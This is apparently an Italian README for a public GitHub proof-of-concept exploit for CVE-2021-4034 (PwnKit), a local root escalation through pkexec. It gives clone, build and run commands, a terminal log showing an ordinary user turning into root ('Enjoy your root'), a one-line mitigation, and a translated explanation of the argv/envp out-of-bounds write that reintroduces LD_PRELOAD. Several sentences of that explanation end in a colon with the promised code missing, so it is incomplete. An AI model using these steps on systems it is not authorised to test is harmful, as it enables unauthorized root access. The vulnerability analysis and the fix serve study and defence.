
Exploit proof-of-concept basato su C per CVE-2021-4034 (PwnKit) che consente l'escalation dei privilegi locali tramite scrittura fuori dai limiti in pkexec. Include istruzioni di compilazione e spiegazione della vulnerabilità.
CVE-2021-4034
debian@debian:~/PwnKit-Exploit$ make
cc -Wall exploit.c -o exploit
debian@debian:~/PwnKit-Exploit$ whoami
debian
debian@debian:~/PwnKit-Exploit$ ./exploit
Current User before execute exploit
hacker@victim$whoami: debian
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed succesfully
root@debian:/home/debian/PwnKit-Exploit# whoami
root
root@debian:/home/debian/PwnKit-Exploit#
| Command | Uso |
|---|---|
sudo chmod 0755 pkexec | Corregge CVE 2021-4034 |
git clone https://github.com/luijait/PwnKit-Exploit
cd PwnKit-Exploit
make
./exploit
whoami
| Command | Utilità |
|---|---|
make clean | Pulisce la build per testare il codice modificato |
Basato sul blog di qualys.com
L'inizio della funzione main() di pkexec elabora gli argomenti della riga di comando (righe 534-568) e cerca il programma da eseguire, se il suo percorso non è assoluto, nelle directory della variabile d'ambiente PATH (righe 610-640):
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
sfortunatamente, se il numero di argomenti della riga di comando argc è 0 – il che significa se la lista di argomenti argv che passiamo a execve() è vuota, cioè {NULL} – allora argv[0] è NULL. Questo è il terminatore della lista di argomenti. Pertanto:
Ma cosa viene esattamente letto e scritto su questo argv[1] fuori dai limiti?
Per rispondere a questa domanda, dobbiamo brevemente divagare. Quando eseguiamo execve() su un nuovo programma, il kernel copia i nostri argomenti, le stringhe d'ambiente e i puntatori (argv e envp) alla fine dello stack del nuovo programma; per esempio:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
Chiaramente, poiché i puntatori argv e envp sono contigui in memoria, se argc è 0, allora argv[1] fuori dai limiti è in realtà envp[0], il puntatore alla nostra prima variabile d'ambiente, "value". Di conseguenza:
Quindi, espresso più precisamente:
In altre parole, questa scrittura fuori dai limiti ci permette di reintrodurre una variabile d'ambiente "non sicura" (ad esempio, LD_PRELOAD) nell'ambiente di pkexec. Queste variabili "non sicure" vengono normalmente rimosse (da ld.so) dall'ambiente dei programmi SUID prima che la funzione main() venga chiamata. Sfrutteremo questa potente primitiva nella sezione seguente.
Nota dell'ultimo minuto: polkit supporta anche sistemi operativi non Linux come Solaris e *BSD, ma non abbiamo investigato la loro sfruttabilità. Tuttavia, notiamo che OpenBSD non è sfruttabile, perché il suo kernel rifiuta di eseguire execve() su un programma se argc è 0.